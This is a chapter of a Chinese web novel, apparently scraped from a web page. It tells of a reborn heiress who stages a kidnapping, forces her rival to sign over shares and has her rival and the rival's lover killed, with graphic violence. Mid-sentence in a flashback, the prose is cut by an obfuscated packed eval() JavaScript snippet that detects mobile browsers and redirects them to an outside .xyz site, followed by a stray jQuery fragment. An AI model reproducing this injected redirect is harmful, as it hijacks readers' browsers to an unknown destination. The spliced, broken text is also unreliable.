车子狠狠撞上墙壁后熄了火,车头已完全变形,一直紧追在后的黑色面包车此时停在了她们车前。
四五名蒙着面、身着深色劲装的人迅速下来查看情况,随即把昏迷的江晚榆和阮笙拖上面包车带走。
车辆一路疾驰,很快出了城,进入郊外。
江晚榆睁开双眼,她其实并未受什么重伤。司机撞击前调整好了角度,还提前做了防护措施,隧道中的一幕不过是为了在监控下演足戏码。
她第一时间看向身旁的阮笙。除了阮笙,车上其她人也都是计划好来配合演一出戏。
“给她打了支镇静剂,暂时不会醒来。”一人指了指阮笙,向清醒的江晚榆汇报。
江晚榆微微颔首。前世她也经历过这场车祸,江凝心在她的车上动了手脚,虽然未造成重伤,却也让江晚榆在医院躺了一周多。
前世她查出了是江凝心所为,要把红凝心送进监狱,但一切却似有什么不可抗力般。一向不过问这些事的江老太太亲自从疗养院出来劝说她放江凝心一回,加上闻姝静从中阻拦,最终此事不了了之。
而经此一遭,江凝心彻底意识到闻姝静对她的影响,开始变本加厉的折磨她,将她推入更深的绝望。
这一次,江晚榆不过是借江凝心自己的恶,让她付出应有的代价。
她唯一愧疚的是牵连了阮笙。江晚榆伸手轻抚开阮笙额前的碎发,目光温柔地注视她片刻,在心中轻语:抱歉,很快就会结束了。
江晚榆不得不这样做。她已经追寻了一辈子都未能触及真相,阮笙如今愿意待在她身配合她,但终有一天会离开。她必须用自己的方式,彻底了结这一切。
车子这时驶入一片废弃工地,附近江晚榆早就派人踩过点,没有摄像头,人烟罕迹。
她抱着阮笙走下车,走进工地昏暗的仓库内。这里是好多年前的一个闹鬼的烂尾楼,曾出过人命,承包商卷款跑路,加之位置偏僻、开发价值低,便一直荒废在了这里无人问津。
不过这块地前几天被人买了,江晚榆用江凝心的身份和资产买下了这里。
随行人为江晚榆推开了仓库的大门,地面覆盖着一层厚重的灰尘,推开的门扬起了尘沙,一股腐朽的气味迎面扑来。
江晚榆面苦寒霜,迈步走入。微弱的光线越过众人的身躯,照亮室内一道模糊的人影。
工地早已没了电力,江晚榆往里走时随行人立即拿出便捷灯将仓库照亮,眼前霎时通明,那道人影也完全显露。
江晚榆只瞥了一眼,眼底的黑暗不断蔓延,此刻已无外人,她无需再掩饰自己。
凝视仍在昏迷的江凝心,长久以来积压在心头的恨意第一次如此直白地爆发出来。
她将阮笙轻柔地放在干净的椅子上,紧紧握住阮笙的手,随后让人将江凝心唤醒。
江凝心缓缓睁开双目,目光触及江晚榆的瞬间阴沉下来,那种本能的敌意在江晚榆面前毫不掩饰。
不过仓库周围的环境让她感到异样,打量一圈后立即清醒过来。
绑在身上的绳索与四周的黑衣人让她瞬间明白了自己的处境,她狠狠盯着江晚榆,从喉间发出一声冷笑:“江家的天之骄女?别人口中的天上月?怎么干起了这种勾当?”
江凝心死到临头仍不忘嘲讽,江晚榆却置若罔闻,命人取来一份合同,扔到江凝心面前。
“你究竟要做什么?”江凝心不解。
“签了它。”江晚榆开口道,“这是股份转让合同,将我名下所有股份转让给你。今日你对我的车动了手脚,我在环形隧道里出了车祸,监控拍下一辆黑色面包车将我掳走,随后我被绑架到这里。”
她顿了顿,眼眸漆黑如坠入了深渊,再不见一丝光明:“被你,江凝心,绑架到了这里,逼着签下这份合同。只是在你企图将我灭口时,被我意外反杀了。”
“监控拍下的内容,这份合同,都会作为证据。”
江凝心睁大了眼睛,发狠死死盯住江晚榆。
她听懂了对方的话,这是要杀了她,还要诬陷她先动的手,她布下局。
不过确实是她先对江晚榆的车动了手,只可惜对方没死。
江晚榆看江凝心不吱声也不催促,只是接着说:“你想我死,却从未想过我同样如此吗?”
“我每时每刻都在想着杀死你。”江晚榆极度冷静地说出这话,她给过江凝心机会的,前世她因为奶奶放了江凝心一回。
这一世,江凝心还没做出那些事。只要江凝心不先动手她便会将“与阮笙一起寻找到真相”放在首位。
可惜江凝心无论前世今生都是同样的人,想要夺走她的一切。
她要江凝心死。
江凝心听闻发出怪异的颤笑,看清江晚榆眼中的杀意,本能地生出恐惧,却又绝不愿在江晚榆面前露怯。
“江晚榆,你果然跟你妈一样恶心!要杀就杀,你以为我会乖乖签那种合同吗?”
“你当然会。”江晚榆抬起眼,笃定无疑。她牵着阮笙的手,昏睡过去的阮笙手掌心温热,紧紧握住对方才能察觉到自己此时手指冰凉,四肢微微地发颤。
她不是恐惧,只是知晓自己即将真的获得自由而激动。
但也够不上兴奋,她并不感受快乐。她早已被这样的痛苦折磨得麻木,哪怕马上就能复仇,马上就能获得自由,心头也只有浅微的波动。
江晚榆微扬下巴,示意手下将昏迷的闻姝静带了过来。
“我知道你从中学起就喜欢她,爱她胜过自己的命。签了合同去死,否则我让她陪你一起死。”江晚榆持刀抵住闻姝静的喉咙,直直看向江凝心。
她知道江凝心爱闻姝静自然是前世江凝心亲口告诉她的。对方怨恨她一方面是因为她母亲江茵的死与江晚榆母亲江秋月有关,另一方面便是因为闻姝静与她的关系。
前世江凝心以为江晚榆爱惨了闻姝静,多次在她面前炫耀与闻姝静深爱。
江晚榆对于她俩的那些事知道得七七八八,如今正好成了她对江凝心最有效的威胁。
果然,江凝心见到闻姝静的瞬间就暴躁起来,对着江晚榆失控的嘶吼。
“签字。”江晚榆面冷如冰,将手中的刀深入两分,割破闻姝静的肌肤,鲜血立即涌出。
“我签!住手!”江凝心已双目赤红,像个疯子一样拼命地挣扎,“放了她!你要我的命就来取,跟她没有任何关系!”
她终于露出了狼狈,江晚榆站起身,居高临下看她,眼底唯有蔑视。
江凝心有所爱之人,故而知晓怎样令前世的江晚榆痛苦;她也教会了江晚榆,如何反制其痛。
江晚榆冷眼看她签完字,看她颓然低下头,眼里又是恨意,又是乞求:“遵守承诺,放了她。”
若换做什么都还未经历的江晚榆,定会遵守承诺。江家倾尽心血培养她,奶奶与母亲江秋月教她商场的尔虞我诈,不可受了欺负。
生母容姯教她诚信立身,既要自保,亦需善待她人。
江家几代人的底蕴,才养出一个江晚榆,她从小到大从未让家人失望过。
江凝心厌恶她,也从未否认过她的优秀。
所以信任了她。
但这一刻,江晚榆却没有回答。
抵在闻姝静脖颈的刀也并没有放下。
“江晚榆……”安静又凝重的气氛让江凝心心慌,她近乎哀求地缓慢低唤江晚榆的名字。
江晚榆始终低头看她,垂眸看她,背光而立,整个人浸没在阴暗中,眼底不见一丝微光。
她终于开口,声冷如寒铁:“我从未打算放过你们一人。”
她话语落下的同时,刀锋已无情割开了闻姝静的脖颈,鲜血喷涌而出,染红她的手,染红她的衣衫。
她神色半分未变,只是倏然瞥见阮笙还在身边,立即将阮笙拥住,不让一滴血液溅到对方身上。
她紧紧抱住女孩温热柔软的身体,沉默地阖上眼,将脸埋入阮笙的发丝中。
发间的山茶花香弥漫在她鼻息,仿佛净化了空气中浓郁的血腥味,香气丝丝滑入心间,抚平了江晚榆心中的疮痍。
但江凝心发疯撕心裂肺的哭嚎刺入耳中,让她又想起母亲们惨死的场景。
那时公司已完全落入闻姝静与江凝心之手,她们却仍不肯放过她。
当着她的面逼死母亲江秋月,让她跪在闻姝静面前说着不会为母亲报仇的恶心话语,母亲到死都狠狠地瞪着她,可江晚榆看到母亲眼里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473102|185577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意思。
不是恨她,不是怪她,是希望她能清醒过来。
生母容姯见到这一幕也承受不住当场自杀,到最后抚着她的脸,眼中是与江秋月同样的期盼。
江家完美的江晚榆在那一刻已然死去,她早已变成了这样,坠入深渊,只是一具行尸走肉。
“杀了她。”江晚榆漠然下令。连手刃仇人都觉得肮脏。
她要这两人死,结束这一切,保护自己的家人。
黑衣人动手没有半点犹豫,江凝心很快没了动静,浓重血腥气几乎麻痹了江晚榆嗅觉。
但事情还没有做完,还要打理好现场。
她扶着阮笙坐稳,准备将阮笙绑起来,要让阮笙相信她们被绑架了,使阮笙也成为她的证人。
江晚榆接过手下递来的绳子,转身瞬间,却撞上阮笙忽然睁开的双眼。
江晚榆大脑有一瞬空白,整个人完全僵住,神情不受控的显露出惊愕。
阮笙被打了镇静剂,不应该这时候醒来。
江晚榆无法思考出对策,愣在原地,一时无法冷静下来。
而阮笙比她更不冷静,睁眼一见她便猛地拉住她,眼泪夺眶而出,神情又惊又乱,拽着她反复地哭喊:“我看到你死了!我看到你死了!”
她整个人都不对劲,言语混乱不清。
江晚榆都听不太清,使眼色让人给阮笙再打一支镇静剂,阮笙却在这时突然安静了下来。
因为阮笙看清了四周环境诡异,看到了闻姝静与江凝心的尸体。
以及江晚榆身上的血迹。
阮笙呼吸一滞,随即猛地甩开江晚榆的手,彻底清醒般环顾。身着黑衣的人,还有对着她手持针剂的陌生女人。
江晚榆静立在她面前,深邃的眼眸让她感到陌生与恐惧。
她几乎跳起来远离江晚榆身旁,江晚榆没有阻止她,神情无奈,但慢慢又变得温和。
“我不会伤害你。”她轻声说。
阮笙瞥到不远处江凝心与闻姝静的尸体,空气里浓郁到令人作呕的血腥味,一个字都无法相信。
江晚榆却也不再解释什么,偏头对旁边的人说道:“你们的工作结束了。”
随后在椅子上坐下,安静得好似在等待自己的结局。
这样的结局其实对她来说也无所谓,只要江凝心和闻姝静死了,她的家人就不会再受到伤害。
她杀了人,付出代价,也理所当然。
她不再说话,其她黑衣人也迅速撤离,那些不过是她雇的人,她的目的达到了,与那些人的交易也达成。
阮笙也趁机欲逃,混乱中她理不清眼前什么情况,但至少要远离此地。
她不信任江晚榆,待黑衣人尽数离去后她才小心翼翼地往外挪,江晚榆看都没看她,依旧坐在椅子上,一动不动地盯着江凝心的尸体。
阮笙只觉这一幕诡异至极,让人毛骨悚然。下意识去摸腕间的佛珠,却惊觉佛珠竟不知何时不见了!
霎时,一股莫名的恐惧感如潮涌至,带着浓稠的恶意,无孔不入地钻入她的脑海。
那股恶意将她紧紧缠绕,她慌得喉咙里不受控制地发出惊叫。
眼前的一切瞬息间变得扭曲,四周的光线忽然暗淡无比,仿若一部惊悚的电影画面,眼前的一切都令人恐惧。
她异样的动静引起了江晚榆的注意,江晚榆蹙眉地看过来,竟见阮笙狼狈地跪在地上大口chuan息,像是极为痛苦一般。
江晚榆眼角一抽,一种不好的预感袭上心头,与技术立即起身朝阮笙的方向走去。
却在这时,身后突然传来巨响!
似重型机械运转时发出的轰鸣声,江晚榆下意识地回头寻声,眼前却倏然掠过一根铁棍,快得劲风刮伤了她的脸颊。
铁棍没有落地的声音,却响起了另一种异常的闷响。
江晚榆的心脏猛地一沉,转头看向阮笙的位置,竟看见阮笙被铁棍贯穿了身体,彻底地倒在地上!
江晚榆僵立原地,数秒后才惊慌失色地扑到阮笙身旁。
随即看清了铁棍贯穿的位置,正中阮笙的心脏。
江晚榆瞳孔骤缩,大脑一片空白。
阮笙……还活着吗?